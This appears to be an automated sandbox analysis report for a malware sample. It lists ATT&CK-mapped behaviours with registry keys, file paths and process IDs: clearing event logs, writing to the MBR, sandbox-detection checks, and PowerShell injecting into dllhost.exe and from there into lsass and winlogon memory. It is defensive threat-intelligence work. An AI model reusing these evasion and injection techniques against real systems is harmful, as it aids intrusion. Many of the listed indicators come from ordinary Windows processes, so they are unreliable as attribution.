b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

System Information Discovery

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.EXE

pid process

1404 powershell.EXE

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

svchost.exe

description	ioc	process
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

wmiprvse.exe

description ioc process

File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe

description	ioc	process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 14 IoCs

Processes:

svchost.exesvchost.exeOfficeClickToRun.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1404 set thread context of 5088 1404 powershell.EXE dllhost.exe

description	pid	process	target process
PID 1404 set thread context of 5088	1404	powershell.EXE	dllhost.exe

Drops file in Windows directory 8 IoCs

Processes:

svchost.exeTrustedInstaller.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TrustedInstaller.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

Install.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

mousocoreworker.exesvchost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

mousocoreworker.exewmiprvse.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEWaaSMedicAgent.exesvchost.exemousocoreworker.exesvchost.exeOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018C00E88C52F7A"	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00E88C52F7A"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property	mousocoreworker.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 30 Jul 2024 16:42:38 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={35DCA2E5-9E1D-45D7-86CE-BD820468B91A}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C00E88C52F7A = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000f200e80b7d745d40a705595617554c9200000000020000000000106600000001000020000000f0314e65eb739615c8d0557a0965856642b12b4b7f8f4540a7ab7c98b2c5f027000000000e8000000002000020000000d1f72e215d8059ad74025d6f9ec7ff9431187b946190e1cf8a56f88d3f3bf4ea80000000a9aaeb53d358ec11ea7cb9424a2037363779b5058ca04256a039c39885369ce3b49d6b892908e7d08ad5fade5290fde736622bd23522ee6af43d669debb16e0d1c271a125d0b380c5ca35edb5a39d2f8313a2ca013eecde8bd21e75ba9ca4bc864ee35eb0c3efe9774a2cb2e07a7bdafa616052b6c9f60df3a251a86f62bff5040000000d5346665d5489f4e40c34dde1cc8c2f3e681b7670d274e5f839f89be6607793ae30e7b55918011b95dc8fcf14268977ab283f5772d7dd3c31bfce904d03c7bb0	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1722357758"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEdllhost.exe

pid	process
1404	powershell.EXE
1404	powershell.EXE
1404	powershell.EXE
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe

Suspicious behavior: LoadsDriver 64 IoCs

Processes:

pid	process
1628
1532
1692
4764
4188
2064
3908
1572
4028
1236
4856
3136
3180
1540
4016
2368
1792
5040
4464
3672
2340
2428
2344
3208
2456
4848
2920
4640
3456
4920
4092
4224
3176
2860
3748
2364
2780
3788
3244
3140
4500
4160
4944
4620
1472
3092
3196
3796
3928
1864
232
4668
1084
2256
2268
1156
2460
2136
4044
4928
3096
588
784
4348

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.EXEdllhost.exeExplorer.EXEsvchost.exesvchost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1404	powershell.EXE
Token: SeDebugPrivilege	1404	powershell.EXE
Token: SeDebugPrivilege	5088	dllhost.exe
Token: SeShutdownPrivilege	3468	Explorer.EXE
Token: SeCreatePagefilePrivilege	3468	Explorer.EXE
Token: SeShutdownPrivilege	3468	Explorer.EXE
Token: SeCreatePagefilePrivilege	3468	Explorer.EXE
Token: SeAuditPrivilege	2728	svchost.exe
Token: SeShutdownPrivilege	3468	Explorer.EXE
Token: SeCreatePagefilePrivilege	3468	Explorer.EXE
Token: SeShutdownPrivilege	2600	svchost.exe
Token: SeCreatePagefilePrivilege	2600	svchost.exe
Token: SeShutdownPrivilege	2600	svchost.exe
Token: SeCreatePagefilePrivilege	2600	svchost.exe
Token: SeShutdownPrivilege	2600	svchost.exe
Token: SeCreatePagefilePrivilege	2600	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1908	svchost.exe
Token: SeIncreaseQuotaPrivilege	1908	svchost.exe
Token: SeSecurityPrivilege	1908	svchost.exe
Token: SeTakeOwnershipPrivilege	1908	svchost.exe
Token: SeLoadDriverPrivilege	1908	svchost.exe
Token: SeBackupPrivilege	1908	svchost.exe
Token: SeRestorePrivilege	1908	svchost.exe
Token: SeShutdownPrivilege	1908	svchost.exe
Token: SeSystemEnvironmentPrivilege	1908	svchost.exe
Token: SeManageVolumePrivilege	1908	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1908	svchost.exe
Token: SeIncreaseQuotaPrivilege	1908	svchost.exe
Token: SeSecurityPrivilege	1908	svchost.exe
Token: SeTakeOwnershipPrivilege	1908	svchost.exe
Token: SeLoadDriverPrivilege	1908	svchost.exe
Token: SeSystemtimePrivilege	1908	svchost.exe
Token: SeBackupPrivilege	1908	svchost.exe
Token: SeRestorePrivilege	1908	svchost.exe
Token: SeShutdownPrivilege	1908	svchost.exe
Token: SeSystemEnvironmentPrivilege	1908	svchost.exe
Token: SeUndockPrivilege	1908	svchost.exe
Token: SeManageVolumePrivilege	1908	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1908	svchost.exe
Token: SeIncreaseQuotaPrivilege	1908	svchost.exe
Token: SeSecurityPrivilege	1908	svchost.exe
Token: SeTakeOwnershipPrivilege	1908	svchost.exe
Token: SeLoadDriverPrivilege	1908	svchost.exe
Token: SeSystemtimePrivilege	1908	svchost.exe
Token: SeBackupPrivilege	1908	svchost.exe
Token: SeRestorePrivilege	1908	svchost.exe
Token: SeShutdownPrivilege	1908	svchost.exe
Token: SeSystemEnvironmentPrivilege	1908	svchost.exe
Token: SeUndockPrivilege	1908	svchost.exe
Token: SeManageVolumePrivilege	1908	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1908	svchost.exe
Token: SeIncreaseQuotaPrivilege	1908	svchost.exe
Token: SeSecurityPrivilege	1908	svchost.exe
Token: SeTakeOwnershipPrivilege	1908	svchost.exe
Token: SeLoadDriverPrivilege	1908	svchost.exe
Token: SeSystemtimePrivilege	1908	svchost.exe
Token: SeBackupPrivilege	1908	svchost.exe
Token: SeRestorePrivilege	1908	svchost.exe
Token: SeShutdownPrivilege	1908	svchost.exe
Token: SeSystemEnvironmentPrivilege	1908	svchost.exe
Token: SeUndockPrivilege	1908	svchost.exe
Token: SeManageVolumePrivilege	1908	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1908	svchost.exe
Token: SeIncreaseQuotaPrivilege	1908	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Explorer.EXE

pid process

3468 Explorer.EXE

pid	process
3468	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

powershell.EXEdllhost.exelsass.exe

description	pid	process	target process
PID 1404 wrote to memory of 5088	1404	powershell.EXE	dllhost.exe
PID 1404 wrote to memory of 5088	1404	powershell.EXE	dllhost.exe
PID 1404 wrote to memory of 5088	1404	powershell.EXE	dllhost.exe
PID 1404 wrote to memory of 5088	1404	powershell.EXE	dllhost.exe
PID 1404 wrote to memory of 5088	1404	powershell.EXE	dllhost.exe
PID 1404 wrote to memory of 5088	1404	powershell.EXE	dllhost.exe
PID 1404 wrote to memory of 5088	1404	powershell.EXE	dllhost.exe
PID 1404 wrote to memory of 5088	1404	powershell.EXE	dllhost.exe
PID 5088 wrote to memory of 608	5088	dllhost.exe	winlogon.exe
PID 5088 wrote to memory of 672	5088	dllhost.exe	lsass.exe
PID 5088 wrote to memory of 956	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 64	5088	dllhost.exe	dwm.exe
PID 5088 wrote to memory of 740	5088	dllhost.exe	svchost.exe
PID 672 wrote to memory of 2712	672	lsass.exe	sysmon.exe
PID 5088 wrote to memory of 1044	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1120	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1140	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1172	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1180	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1200	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1284	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1304	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1424	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1432	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1584	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1616	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1632	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1740	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1748	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1780	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1872	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2036	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 2044	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1592	5088	dllhost.exe	svchost.exe
PID 5088 wrote to memory of 1648	5088	dllhost.exe	svchost.exe
